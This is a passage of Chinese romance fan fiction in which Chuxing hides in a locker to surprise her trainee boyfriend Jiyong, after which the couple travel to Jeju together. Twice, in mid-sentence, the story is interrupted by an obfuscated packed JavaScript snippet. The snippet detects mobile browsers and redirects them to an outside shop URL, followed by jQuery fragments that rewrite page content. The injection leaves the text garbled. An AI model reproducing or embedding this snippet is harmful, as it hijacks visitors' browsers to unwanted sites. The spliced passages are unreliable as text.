为了不让自己的神经始终紧绷在学业和远方的忧虑上,也为了不离自己心底那份被暂时搁置却从未熄灭的梦想太远,她会在学习的间隙让自己沉浸到另一个世界里。她翻出之前购买的室内设计类图书和全球知名的家居生活杂志,摊开在书桌一角。当感到疲惫或思绪过于沉重时,她便允许自己短暂地逃离一会儿,指尖拂过光滑的铜版纸,目光流连于那些巧妙的线条、和谐的色彩搭配和充满想象力的空间构想。她会仔细研究一张椅子的曲线、一个灯具的光影效果、一个 loft 公寓的开放式布局……这能让她暂时忘却烦恼,眼神重新变得明亮而专注,唇角无意识地微微上扬,仿佛又触摸到了那个关于创造美、塑造空间的梦想的边缘。 偶尔,她会和好友珍雅约着出去逛街,算是枯燥备考生活中难得的调剂。珍雅如今已经是汉阳大学珠宝设计专业意气风发的新生了,丰富多彩的大学生活和专业的艺术熏陶让她看起来更加时尚自信,言谈举止间都透着一股开朗和活力。 “哇,我们初星现在简直是隐居深山、潜心修炼的顶级学霸了!”在精致的甜品店里,珍雅舀了一勺抹茶蛋糕,看着对面安静喝果汁的初星,忍不住笑着调侃,“不过说真的,气色比去年冬天那会儿好太多了!脸上总算有点肉了,眼神也亮了不少!” 初星闻言笑了笑,初夏午后的阳光透过玻璃窗洒在她侧脸上,勾勒出柔和的光晕,确实驱散了不少往日笼罩的阴霾。她用吸管轻轻搅动着杯中的冰块,“总得朝前看,日子总要过下去的。”她说着,目光被旁边饰品店橱窗里一个毛茸茸的、带着俏皮胡须的白色猫咪发箍吸引,忽而兴起,拉着珍雅进去,顺手就将发箍戴在了自己头上,对着镜子故意鼓起脸颊,瞪圆眼睛,做了一个夸张的猫咪鬼脸:“怎么样?适合我这个与世隔绝、只与书本为伴的学霸吗?” 珍雅被初星逗得哈哈大笑,差点被蛋糕呛到:“适合适合!超级无敌可爱!买了买了!必须买!我送你!就当是给你枯燥的修炼生活增添一点萌系色彩!”两人笑闹着,仿佛一瞬间又回到了高中时那些无忧无虑、可以肆意玩笑的时光。初星身上那份被苦难暂时掩盖的灵动、鲜活和偶尔冒头的小调皮,又重新探出了头。 她们像以前一样,沿着树荫遮蔽的街道,漫无目的地逛着各种精品店和小铺。珍雅会兴奋地指着某件设计独特、工艺精巧的项链或耳环,滔滔不绝地分析其设计理念、材质运用和市场趋势,眼睛里闪烁着对专业的热爱。初星则会更多地留意每家店铺的空间布局、灯光设计如何烘托商品、装饰风格的统一性,蹲下来研究地砖的拼接方式。在一家以极简风闻名的家居概念店里,初星对着一个造型宛如艺术装置、线条流畅却看起来似乎不太符合人体工学的椅子研究了半天,甚至忍不住想试着坐上去体验一下,结果被旁边时刻保持警惕的店员用礼貌却锐利的眼神制止。她立刻像做错事被抓包的小孩子一样,吐了吐舌头,脸颊微红,拉着还在忍笑的珍雅飞快地跑出店门,两人跑到街角,互相扶着对方的肩膀,笑得直不起腰,阳光洒在她们年轻而充满生命力的身影上。 在和珍雅分开,独自回到安静的家中后不久,初星的手机就开始“嗡嗡嗡”地、带着一种不依不饶的执着响个不停。根本不用看屏幕,她也知道此刻会如此密集“轰炸”她的是谁。 她窝在沙发里,拿起手机,果然看到屏幕上接二连三地弹出来自【笨蛋至龙】的信息: 「娜比啊~?? 今天的练习强度简直非人类!感觉身体每一个零件都在抗议,快要散架了……」 「永裴哥今天不知道吃了什么火药,眼神比老师的还犀利,死盯着我的wave动作抠细节,一遍又一遍,我都快变成波浪线本人了!」 「最过分的是胜铉哥!他就盘腿坐在旁边角落里,用那种慢悠悠的、能气死人的语气说风凉话:“至龙啊,看来今天状态不太行啊~是不是昨晚又熬夜写歌了?”,啊啊啊!明明他自己跳得一身汗还在那装淡定!」 「他们俩后来还联合起来!抢走了我藏起来最后那包蜂蜜黄油薯片!是恶魔吗?!绝对是恶魔吧!」后面还跟了一连串可怜兮兮、被打得鼻青脸肿、趴地求饶的卡通表情包。 初星看着屏幕上那充满画面感和委屈的控诉,似乎能透过文字看到至龙在练习室里累瘫在地、龇牙咧嘴又拿哥哥们没办法的生动模样,忍不住“噗嗤”一声笑了出来,嘴角弯起甜甜的、带着宠溺的弧度,像只偷吃到美味蜂蜜的小猫。 “欧巴们真是活力无限呢~看来我们至龙今天被‘欺负’得很惨呀,辛苦啦!(づ ̄ ? ̄)づ!”她指尖飞快地回复着,脑海里却不自觉地浮现出清晰的画面:至龙累得直接躺在冰凉的地板上,汗水将他额前的刘海浸湿成一绺一绺,黏在光洁的额角,胸膛剧烈起伏着喘气,但那双看向镜子的眼睛,却燃烧着不服输的执着和渴望。 想着想着,一种强烈的、突如其来的思念猛地攫住了她的心脏。好像……真的已经有很长一段时间没有亲眼看到他那副样子了,没有去练习室感受过那种汗水和梦想交织的热烈氛围了。虽然窗外的天色已经逐渐染上了墨蓝色,远处的天际线只剩下最后一抹橙红的晚霞,但这个念头一旦冒出来,就带着一种难以抗拒的诱惑力,在她心里迅速生根发芽。 给他一个惊喜吧!这个想法让初星的心跳莫名快了几分,带着点恶作剧般隐秘的兴奋。她没有任何犹豫,立刻从柔软的沙发里弹起来,随手抓了件薄外套披上,就脚步轻快地跑了出去。 夜晚的风带着初夏微凉的舒爽气息,吹拂在脸上。初星快步走到那栋熟悉的练习室楼下。正好是晚间练习结束的时间段,三三两两的练习生们有说有笑地从大楼里涌出来,互相道别,走向附近的公交车站或地铁口。人群渐渐变得稀疏,说笑声远去,周围重新安静下来。 初星看着逐渐空旷的楼道口和变得冷清的大厅,心里不由得“咯噔”一下。 “不会吧……难道已经结束了吗?大家都走了?我来晚了?” 小小的失落感像透明的肥皂泡,咕嘟咕嘟地从心底冒上来。她捏紧了手机,看着那扇熟悉的玻璃门,犹豫着是直接打电话问问,还是就这样打道回府。 “算了,来都来了!”她小声地给自己打气,眼眸里重新闪烁起不甘心的微光,“万一他还在里面加练呢?那个出了名的练习狂魔!不练到最后一刻绝不罢休的家伙!” 抱着这一丝侥幸心理,初星小跑着钻进了大楼,轻车熟路地奔向走廊最深处那间熟悉的练习室。越往里走,公共区域的灯光越暗,走廊变得空旷而安静,只剩下她自己的脚步声在轻微回响。然而,一种隐约的、富有节奏感的音乐声和整齐有力的踩踏声,却越来越清晰地从那扇紧闭的门后传出来。 初星的心跳随着那节奏加速起来。她像一只准备偷袭的小猫,放轻了脚步,悄悄地凑近门缝,屏住呼吸向里面望去——暖黄色的灯光倾泻而下,将整个练习室笼罩在温暖的氛围中。至龙果然还在!他正对着那面占满整面墙的落地镜,不断地重复着某个复杂的舞步。汗水已经彻底浸透了他灰色t恤,紧贴在背上,勾勒出少年清瘦却蕴含着爆发力的脊背线条。额前的碎发被汗水打湿,几缕黏在饱满的额角和脸颊旁,但他的神情却专注得近乎执拗,嘴唇紧抿,眼神锐利地盯住镜中的自己,不放过任何一个细微的偏差。而在角落的地板上,永裴和胜铉像是刚刚经历了一场耗尽所有力气的恶战,毫无形象地瘫坐着。永裴脸上盖着一条白毛巾,胸口还在起伏,偶尔传来低低的笑声;胜铉则仰头对着矿泉水瓶猛灌,喉结急促地滚动着,脸上带着运动后的潮红和疲惫。 初星看着至龙那副心无旁骛的认真背影,偷偷抿嘴笑了,心疼、骄傲和恶作剧冲动的情绪在心里蔓延开来。她趁着至龙一个转身背对门口的间隙飞快地溜了进去,第一时间朝着角落里的永裴和胜铉飞快地眨了眨眼,竖起一根纤细的食指紧紧贴在唇边,做了一个无声却极其清晰的“嘘——”的动作。 永裴和胜铉两人交换了一个惊喜又了然的眼神,脸上浮现出憋笑的表情,非常默契地用力点头,表示绝对配合。初星像只灵活又狡猾的小狐狸,趁着音乐声和至龙的喘息声掩盖,一闪身就灵巧地钻进了墙边那个属于至龙的、半人高的储物柜里,柜门只留下一条不易察觉的细小缝隙用于观察和呼吸。 至龙终于跳完了那一组的最后一个节拍,音乐恰好也进入了一个短暂的停顿。他喘着粗气,用手臂抹了一把脸上的汗,转过身来,朝着角落里的哥哥们走去。 胜铉用手肘碰了碰旁边的永裴,两人进入“演技模式”。胜铉率先开口,一脸严肃地指着那个柜子,声音带着恰到好处的惊疑不定:“呀,至龙啊,你那个柜子…刚才好像有什么东西‘嗖’一下钻进去了!” 永裴默契地接上话茬,还配合地缩了缩肩膀,做出有点害怕的样子:“真的真的!我也看到了!黑乎乎的一团,动作快得离谱!‘唰’就不见了!不知道是老鼠还是……超大号的蟑螂?!” 至龙脸上的汗水还在不断往下滴,一听这话,表情僵住,眼神里透出明显的慌张和下意识的害怕抗拒,身体向后缩了一下:“真…真的?不是吧?!呀!你们别光看着啊!谁…谁去打开看看啊!”他的声音都开始变调了。 胜铉把头摇得像拨浪鼓,连连摆手,表情夸张:“我?我不行!我从小就怕这种多腿的或者毛茸茸乱窜的东西!”说着还非常“害怕”地往永裴身后缩了缩。 永裴也赶紧把脸上的毛巾重新拉高,几乎盖住了整张脸,声音闷闷地、带着“虚弱”传来:“别…别找我…我刚才练得太猛,现在眼前发黑,需要深度休息…我什么都没看见…” 但他的肩膀却因为极力憋笑而控制不住地微微发抖。 至龙看着两个变成“废柴”、毫无义气可言的朋友,又害怕又无奈,眼睛像被磁铁吸住一样,紧紧盯着那扇仿佛藏着什么未知恐怖生物的柜门,表情纠结极了,进退两难。他做了一下心理建设,弯腰抓起地板上的一本闲置的娱乐杂志,卷成不太结实的筒状,像握着一把剑一样,一步一顿地向前挪了一步。 “真的……没看错?真的有东西进去了?”他又不死心地确认了一遍,声音里带着最后一丝微弱的希望,希望这只是两个无聊朋友联合起来的整蛊玩笑。 “千真万确!”胜铉用力点头,严肃得仿佛在汇报重大军情,但微微抽动的嘴角却泄露了天机。“速度超级快!绝对不是幻觉!” 永裴把脸上的毛巾拉下来一点点,只露出一双努力瞪大、试图表现出“惊恐”的眼睛,用力地附和,还添油加醋:“嗯!体型不小!感觉在里面动呢!”说完立马又把毛巾盖了回去,整个人缩成一团,肩膀抖得更厉害了。 至龙看着这两个“靠不住”的朋友,深吸一口气,像是下了赴死般的决心,又往前挪了一小步,伸长手臂,用那本杂志筒远远地、轻轻地捅了一下柜门,发出“叩”的一声轻响。 柜子里毫无动静。一片死寂。 这毫无反应的安静反而让他更加毛骨悚然了,想象力开始疯狂运转。他转过头,用眼神向角落里的两个“战友”发出强烈的求救信号,却发现胜铉已经不知何时彻底躲到了永裴身后,两人缩在角落,正用口型激烈地讨论着什么,脸上是那种快要绷不住的扭曲表情。 “呀!你们这两个没义气的!还是不是朋友了!”至龙压低声音抱怨,声音里充满了被背叛的委屈和愤怒。再次转向那扇沉默的柜门,他心一横,眼睛一闭——“死就死吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704825|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !豁出去了!” 他猛地伸出手,以一种迅雷不及掩耳的速度,“哗啦”一下拉开了柜门! 就在柜门敞开的那个瞬间!一个身影伴随着一声清脆欢快、带着得逞意味的“哇!”叫声,从里面猛地扑了出来! “啊啊啊啊啊——!”至龙猝不及防,被吓得魂飞魄散,心脏差点从嗓子眼里跳出来!手里的杂志筒“啪”地一声掉在地上,整个人像是触电般向后弹跳了一大步,直到后背“咚”地一声撞到冰凉的镜面上才停下来。他惊魂未定地、大口喘着气,定睛一看—— 只见初星正站在敞开的柜门前,笑得花枝乱颤,腰都直不起来了,眼睛弯成了漂亮的月牙儿,脸上满是得意和喜悦,脸颊因为大笑和柜子里缺氧而泛着健康的红晕。 “哈哈哈……至龙……你……你的表情……哈哈……太经典了……”她笑得几乎喘不上气,手指着至龙那张吓得煞白、写满了惊恐和茫然的脸,眼泪都快笑出来了。 角落里的永裴和胜铉也再也忍不住了,爆发出惊天动地的大笑声。永裴笑得直接从地板上滑倒,捂着肚子蜷缩成一团;胜铉则捶着地板,笑得浑身颤抖,眼泪真的飙了出来,差点喘不上气。 至龙目瞪口呆地愣在原地,足足有好几秒钟,大脑才处理完这极致的惊吓到极致的惊喜的剧烈转换。心脏还在处理被惊吓的反应,在胸腔里“砰砰砰”地疯狂擂鼓,仿佛要撞碎肋骨跳出来。 惊吓转化为惊喜和一丝被狠狠捉弄了的、哭笑不得的“恼怒”。 “呀!裴初星!”他叫着她的全名,脸上却无法控制地漾开了大大的笑容,几步上前,一把将那个笑得浑身发软、几乎站不稳的罪魁祸首紧紧地搂进怀里,手臂环得牢牢的,下巴用力地抵着她的发顶,声音里满满的宠溺和抱怨:“你吓死我了!真的差点吓出心脏病!真是……坏透了!怎么来了也不提前说一声!” 初星在他温暖而汗湿的怀抱里抬起头,“因为想给你一个真正的惊喜嘛~怎么样,惊喜吗?练习辛苦了,男朋友!” 至龙低头看着她,哪里还有半点脾气,只觉得一整天的疲惫、被哥哥们“欺负”的委屈,都被这个拥抱和惊喜冲刷得干干净净,整个人甜得发腻。他收紧了手臂,把她更深地拥入怀中,也跟着低低地笑了起来。 “嗯,”他低声应着,“确实是……最大的惊喜。差点变成惊吓的惊喜。” 身后,永裴和胜铉非常默契地、互相搀扶着从地上爬起来,笑着拍打对方身上的灰尘。 “突然觉得好饱,晚饭都不用吃了。”永裴揉着笑痛的肚子说。 “嗯,狗粮吃得够够的了,血糖直线飙升。”胜铉点点头,抹着眼角的泪花,“走了走了,此地不宜久留,再待下去要蛀牙了。” 两人一边吐槽一边笑着,非常识相地溜出了练习室,还贴心地把门轻轻带上,将整个空间彻底留给了这对久别重逢(虽然只是几天)的小情侣。 练习室里终于只剩下他们两人。音乐不知何时已经停了,空气中只剩下彼此还未平复的呼吸声和一种暧昧而温馨的安静。 至龙稍稍松开怀抱,但手臂依然环在初星的腰上,低头看着她,指尖温柔地、小心翼翼地将她额前一缕因为刚才躲藏而跑乱的碎发拨到耳后,眼神柔软得不像话,充满了失而复得的眷恋。 “真的吓到我了……”他低声嘟囔,只剩下满满的后怕和宠溺,“差点以为真的有什么奇怪的东西……不过……”他的目光细细描摹着她的眉眼,声音轻了下来,“好像真的……很久没这样……实实在在地抱到你了。每天都在没日没夜地练习,回去累得倒头就睡,连给你发信息都没什么力气……” 他轻轻叹了口气,额头向前,轻轻抵着她的额头,感受着彼此皮肤的温度和细微的汗意,声音轻得像羽毛,带着一丝不易察觉的委屈和思念:“其实…特别想你的。特别累的时候,就更想。” 初星蹭了蹭他的鼻尖,软声回答,带着安抚的意味:“我也想你呀。这不是跑来看你了嘛?”她顿了顿,稍微退开一点点,看着他汗湿的额发和亮晶晶的眼睛,接着说,“而且最近一直闷在家里啃书本,头昏脑涨的,需要换换心情。我打算过几天……给自己放个小假,去济州岛玩几天,透透气。” “济州岛?”至龙微微抬起头,眼神里闪过一丝下意识的警觉和紧张,像被触碰了领地意识的猫,“和谁去?什么时候去?去几天?” “还能和谁呀,”她故意拉长了声音,歪着头,欣赏着他瞬间紧绷起来、充满警惕的小表情,存心逗他,“可能……就先问问珍雅吧?看看她有没有空陪我。如果珍雅也没空的话……”她拖长了语调,眨了眨眼,“那可能就只能我一个人去享受碧海蓝天、沙滩阳光咯~说不定还能有场浪漫的邂逅呢?” 至龙听到这话,脑子里飞快地盘算起来。出道实录的拍摄和最终选拔考核近在眼前,那之后恐怕连睡觉的时间都是奢侈,被各种行程挤占得满满当当。但在这之前,好像…拼命挤一挤,还能抠出那么几天的空档? 机会难得!绝对不能错过! 他把初星又搂紧了些,下巴搁在她纤细的肩膀上,开始软磨硬泡,拖长了语调,声音像融化的麦芽糖一样撒娇:“嗯~不要嘛……我也想去……带我一起去嘛,初星~娜比~亲爱的~你看我最近练习这么累,压力山大,马上又要终极考核了,身心俱疲,急需充电回血……济州岛的海风阳光最治愈了!带我去好不好?我保证乖乖的~绝对不给你添乱!给你拎包、给你拍照、给你买好吃的!带我去嘛~好不好嘛~”他一边说,一边轻轻晃着她的身子,眼神湿漉漉的,充满了渴望和期待,让人根本无法拒绝。 初星被他晃得心软,被他这撒娇攻势弄得毫无抵抗力,仿佛看到了一条无形的大尾巴在身后摇啊摇。她噗嗤一声笑了出来,伸手揉了揉他汗湿的头发:“哎呀,好啦好啦!怕了你了!带你去!带你去总行了吧?真是……胜铉欧巴和永裴欧巴他们知道你私下是这种撒娇精吗?形象崩坏了哦,未来的大明星?” 至龙立刻收起那副可怜兮兮的撒娇表情,假装清了清嗓子,试图恢复一点平时那种“酷盖”的拽拽模样,但那双笑得弯起来的眼睛和彻底上扬、压都压不下去的嘴角,却彻底出卖了他内心的狂喜:“那就这么说定了!不准反悔!骗人是小狗!”他飞快地在她的脸颊上响亮地亲了一下,随后掏出手机,“我马上看看日程,订最快的机票!酒店也我来订!你只要带着人和好心情就行!” 他仿佛已经感受到了济州岛带着咸味的海风、温暖灿烂的阳光和与她独处的甜蜜时光,整个人都变得轻快明亮起来。 44.济州岛的海风 原本计划的三人行,因为珍雅家中临时有急事需要处理,而意外地变成了纯粹的二人旅程。收到珍雅充满歉意的短信时,至龙正坐在初星身边,偷偷地用眼角的余光描摹着她专注看手机时微微颤动的长睫毛和柔和的侧脸线条。当他看清短信内容后,心脏像是被一个小小的烟花“砰”地一下点亮了!他极力压下嘴角那几乎要控制不住向上飞扬的弧度,甚至还刻意地轻轻叹了口气,充满了“真诚”的遗憾:“哎呀……珍雅不能来了吗?真是太可惜了……” 但他的手指,却在初星摊开的掌心里,带着点小得意和隐秘的欢喜,悄悄地挠了挠。 走出济州机场的航站楼,一股带着咸腥气息的、湿热而温柔的海风扑面而来,至龙推着行李车,上面稳稳地放着两人的行李箱,还有他特意为这次旅行新买的、带着海岛风情的草编手提袋,里面细心地塞着初星随时可能需要的外套、高倍数的防晒霜、一小包湿巾和一瓶未开封的矿泉水。他侧过头,午后的阳光透过机场大厅巨大的玻璃顶棚,在他浓密的睫毛下投下一小片扇形的阴影,但他语气里的雀跃却像刚打开瓶盖的冰镇气泡水,噗噗地、抑制不住地往外冒着欢快的泡泡:“就我们两个了。” 初星笑着看他,还没来得及开口回应,他就已经伸出手,准确无误地在空气中捕捉到她的手指,随后十指相扣地握住。他的掌心因为推行李车而有些微湿,却传递着一种干燥而坚定的温暖。 他们预定的是一家由当地家庭经营的以温馨著称的民宿,位于一条远离主干道的、安静得能听到鸟鸣的小巷深处。那是一栋三层高的白色小楼,外墙爬满了郁郁葱葱的爬山虎,每一个窗台和小小的阳台上,都错落有致地摆满了火焰般鲜艳的红色天竺葵,充满了生机勃勃的生活气息。房东阿姨是一位笑容淳朴、皮肤被海风晒成健康小麦色的中年妇女,热情地迎出来,用带着浓重济州方言口音的韩语欢迎他们,还硬是塞给他们一小篮刚刚从后院树上摘下的、黄绿相间的橘子,果香清新扑鼻。 他们的房间在三楼,是一个带有独立小阳台的套间。空间不算宽敞,但布置得十分用心和温馨。地板被擦得一尘不染,光脚踩上去能感受到木质的温润;窗帘是清新的蓝白格子布,随着海风轻轻飘动;墙上挂着几幅当地不知名艺术家描绘的海景素描,笔触简单却充满了海岛的韵味。 一进门,至龙就像个好奇宝宝,放下行李就兴奋地四处打量。他率先推开阳台的玻璃门,深深吸了一口带着海藻味道的空气,兴奋地回头朝着还在整理行李的初星喊道:“娜比啊,快来看!这里能看到海!真的能看到!” 初星放下手中的东西,走过去,从身后轻轻环抱住他精瘦的腰身,脸颊贴在他只穿着一件薄薄棉质T恤的背上,“真好看。”她闭上眼睛,感受着海风的吹拂,轻声说。 至龙转过身,将她整个儿搂进怀里,下巴亲昵地蹭着她柔软的发顶,目光留恋地望着远处那抹令人心旷神怡的蓝色,“和你一起看,所以才格外好看。” 放好行李,两人各自回到套间里的两个小房间换衣服。至龙的动作总是快一些,他利落地换上一件宽松舒适的印花沙滩衬衫和一条及膝的白色短裤,先一步走了出来,百无聊赖地坐在客厅那张小小的沙发上,假装低头摆弄着手机,耳朵却像最灵敏的雷达,高度警觉地留意着初星房门后的任何一丝动静。 “咔哒”一声解锁的响动传来时,至龙立刻抬起了头,目光瞬间聚焦在门缝处。房门完全打开,初星从里面走出来时,他的呼吸轻轻地滞了一下。 明媚的阳光透过阳台敞开的玻璃门毫无保留地洒进来,在她身上镀上了一层柔和而温暖的金色光晕。白色的吊带裙衬得她的肌肤愈发白皙通透,极简的设计反而凸显出一种干净纯粹的少女感,同时又因裸露的肩颈线条而透出一丝微妙的性感。她整个人清爽得像夏日海风里最令人心动的初恋模样,纯粹得不染一丝尘埃,带着一种浑然天成的吸引力。 至龙的脸颊不受控制地开始微微发烫,耳根也悄悄爬上了一抹红晕。因为他清楚地记得,在过去——无论是在学校,还是一起出去玩时,每次初星穿这种露出肩膀和锁骨的裙子或上衣,她总会在外面临时套上一件薄薄的开衫毛衣或一件宽松的牛仔衬衫。 而此刻,在这个属于他们两人、私密却又在空间上明确划分了界限的民宿套间里,她就这样毫无防备地、自然地走了出来,身上没有任何多余的遮挡物。这种“仅在他面前”的放松和不设防,加上这清凉的吊带设计,与记忆中的习惯形成了强烈的对比,反而让这份视觉冲击变得更加清晰、直接,也更加……令人心慌意乱。 而最让至龙心跳漏跳一拍的,是她脖子上那抹熟悉的、闪烁着细微银光的亮点。那是去年他省吃俭用、偷偷攒了很长时间零花钱才买来送给她的生日礼物,那条设计精巧、寓意着“你是我的小宇宙”的迷你星球项链。此刻,它正静静地躺在她锁骨下方白皙细腻的肌肤上,随着她平稳的呼吸微微起伏,像一颗守护着她的、沉默的星辰。她的左手手腕上,也戴着他再熟悉不过的手链。 他几乎是下意识地站起身,向她走近了一步,伸出手,指尖微颤,装作自然地帮她理一理那根其实戴得很端正的星球项链的坠子,然而,随着距离的拉近,身高的差距让他目光不经意地、无法控制地垂落——从领口上方,他瞥见了一小片若隐若现、细腻光滑得如同上等羊脂白玉般的肌肤,以及那抹随着呼吸柔和起伏的、少女初绽的曲线边缘。 像是不小心触碰到烧红的烙铁,至龙猛地抬起头,视线慌乱地移开,看向天花板某个无关紧要的角落,整张脸“轰”地一下红得透彻,连脖颈和耳根都烧灼起来,温度高得吓人。同住一个套间、仅一墙之隔的事实,以及这身清凉的吊带裙叠加在一起,让这份近距离的“发现”所带来的悸动和不知所措,被放大了数倍。 “娜比啊……”他开口,声音因为紧张和干渴而带着一点不自然的沙哑,眼神飘忽不定,就是不敢再直视她清澈的眼睛,“那个……你……你要不要……回房间换一件衣服?或者……加个外套?我帮你拿?” 初星正低头抚平因坐下而可能产生的褶皱,闻言疑惑地抬起头,眨了眨眼睛:“嗯?为什么?这样穿很舒服啊,也很凉快。”她看着至龙那张红得像熟透的番茄、眼神躲闪、手脚都不知道该往哪里放的样子,明白了什么,忍不住“噗嗤”一声笑了出来,眼睛弯成了好看的月牙。她故意在他面前轻盈地转了个小圈,让简洁的裙摆像白色的花瓣一样舒展开来,肩带随着动作滑落一点又被她拉回,“不要,我就想穿这件。不好看吗?”她歪着头,带着点狡黠的笑意反问。 “不是不好看!”至龙急忙否认,语气里带着焦急的辩解,仿佛怕她误会,“是……是太好看了!但是……但是这样……”他憋了半天,脸颊更红了,终于找到一个自认为站得住脚的理由,“等下我们出去,坐车、走路、吃饭……会被别人看到的!” 他说“别人”这两个字时语气加重,带着强烈的介意,他几乎能想象到旁人投来的目光。 初星被他这副如临大敌、仿佛她穿了什么惊世骇俗服装的可爱模样彻底逗乐了,叉着腰,故意逗他:“权至龙你是从哪里穿越来的老古董吗?看到又怎么样?大街上有那么多变态吗?会一直盯着我看?” “可是……”至龙语塞,眉头紧紧皱了起来,像个小老头,心里又急又醋,偏偏那些更霸道、更直接的话堵在喉咙口,怎么也不说出来。他深吸一口气,走到她面前,双手轻轻握住她因吊带设计而光滑的肩膀,指尖传来的微凉细腻触感让他心跳又漏了一拍。他强迫自己直视着她的眼睛,眼神严肃和认真,宣读着一项重要条款: “那你答应我,”他的语气带着不容置疑的执拗,尽管耳根的红晕还没完全褪去,但眼神却格外坚定,“以后穿这种吊带款式的上衣或者裙子,如果我不在场,一定要在外面加件外套。薄的开衫也行,衬衫也行,反正不能……不能就这样。” 没等初星回答,他怕她拒绝,又飞快地补充道,混合着一种笨拙的、却无比真诚的霸道和小心翼翼的温柔:“在我面前,你随便穿,怎么穿都行。我……我会保护好你的,也会……也会尊重你的。” 最后几个字,几乎是从喉咙里咕哝出来的,带着百分百的郑重和承诺,以及属于少年人的青涩腼腆。 初星看着他通红却无比认真的脸庞,看着他眼里清晰映出的担忧、强烈的独占欲以及那份努力克制的、生怕冒犯到她的尊重,心里那点想要继续逗弄他的心思化成了甜丝丝的暖流。她踮起脚尖在他滚烫的脸颊上印下了一个轻柔的吻。 “知道啦~”她的声音甜甜的,带着纵容的笑意,“啰嗦的权至龙先生~ 那我们快出发吧!肚子都饿了!” 至龙被她的亲吻弄得一愣,脸上的热度再次飙升,但紧皱的眉头却舒展开来,嘴角控制不住地向上扬起。他松开她的肩膀,转而牢牢地握住她的手,暗暗松了口气,却还是忍不住像个操心的小管家,小声地嘀咕了一句:“本来就是这样嘛……等一下,防晒霜涂了吗?脖子后面和耳朵后面都涂到了吗?外面紫外线很强的……” 等至龙像个尽职尽责的“防晒监督员”一样,确认初星所有暴露在外的皮肤都均匀地涂好了防晒霜后,两人才手牵着手,心情雀跃地出了门。 他们沿着民宿门前那条蜿蜒向前的小径,慢慢地走向公交车站,准备坐车去附近一家在网上口碑极好、据说海鲜面一绝的小店解决午餐。 公交车上人不多,有不少空位。他们并排坐在靠窗的位置,窗玻璃被阳光晒得微微发烫。至龙将初星的手握在自己掌心,他的拇指无意识地、带着一种眷恋的节奏,轻轻摩挲着她光滑的手背。窗外的景色不断变换,从安静的民居小巷逐渐变为开阔的海岸线,蔚蓝的大海在阳光下闪烁着碎钻般的光芒。初星看得入神,侧脸被阳光勾勒出柔和的轮廓,长长的睫毛像两把小扇子,在眼睑下投下细小的阴影。至龙却更多时候是在看她,看她被海风吹拂微微飘动的发丝,看她专注时微微抿起的嘴唇,看她因为看到美景而情不自禁扬起的、带着笑意的嘴角。 “呀,别老是看我,看外面呀。”初星感受到他几乎凝在自己脸上的、专注得有些灼热的视线,轻轻用肩膀撞了一下他。 “外面没你好看。”至龙答得理所当然,嘴角噙着温柔而满足的笑意,反而把她的手握得更紧了些,指尖与她紧密相扣。 那家藏在巷子深处、门面不大的海鲜面店果然名不虚传,门口已经排起了不长不短的队伍,空气里弥漫着诱人的、辛辣鲜香的味道。至龙让初星站在旁边有阴凉的电线杆下等着,自己跑去排队。阳光晒在他的后颈上,微微出汗。等他端着两碗热气腾腾、红油滚滚、上面铺满了新鲜蛤蜊、肥美鱿鱼圈和几只饱满大虾的面碗小心翼翼地走回来时,额角和鼻尖已经冒出了细密的汗珠,在阳光下亮晶晶的。 “快尝尝!听说超级好吃!”他眼睛亮晶晶地看着她,迫不及待地把一次性筷子掰开递过去。 面条劲道爽滑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711263|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,汤头鲜辣浓郁,海鲜的量给得十分实在。初星吃得鼻尖冒汗,嘴唇被辣得红彤彤的,却连连点头,含糊不清地称赞:“嗯!好吃!真的好吃!”至龙看着她满足得像只被喂饱了的小猫的样子,笑得比他自己吃到美味还要开心,从自己碗里夹起那个最大的虾仁,放到了她的碗里:“吃这个,这个营养价值高。” 吃完饭,两人沿着海边的木质栈道慢慢散步消食。午后的阳光把海水照得粼粼发亮,像撒下了一大把碎金子。远处有点点白帆,海鸥在空中盘旋鸣叫。至龙停下脚步,从沙滩裤口袋里掏出手机,熟练地解锁,打开相机功能。 “娜比啊,看这边。”他轻声唤道。 初星微侧过身回头,恰好一阵海风吹来,拂起她额前和鬓角的碎发,对着镜头露出了一个自然而又带着点懵懂的微笑。 “咔嚓”一声轻响,至龙迅速按下了快门,定格下了这个瞬间。 “呀!你又偷拍!”初星笑着嗔怪,作势要去抢他的手机。 至龙敏捷地把手臂举高,得意地炫耀着屏幕上那张刚刚拍好的照片:“看,多好看!根本不用修图!以后我们的家,墙上要挂满你的照片,各种样子的。” 下午的时光悠闲而甜蜜,仿佛被拉长了。他们在一家看海的咖啡馆坐下,分享一块造型可爱的慕斯蛋糕和冰美式。至龙咬着吸管,看着对面小口小口、像小松鼠一样吃着蛋糕的初星,很认真地说:“下次,等我出道了,赚了钱,还要再来一次济州岛。” “嗯?”初星抬起头,嘴角还沾着一点点白色的奶油渍,模样有点可爱。 “到时候,”至龙用手比划着,眼神里有光,是对未来的清晰规划和承诺,“就不用赶公交车,不用挤这种需要排队的小店,也不用两个人只点一杯饮料分着喝了。我们要租一辆好看的车自驾环岛,住有私人泳池和海景阳台的更好的酒店,吃遍所有你想吃的东西。” 他说这些话时,只有一种“我想把最好的都给你”的朴素而真诚的愿望。 初星伸出手,越过小小的咖啡桌,用指尖轻轻擦掉他鼻尖上刚刚不小心沾上的一点点奶油泡沫。 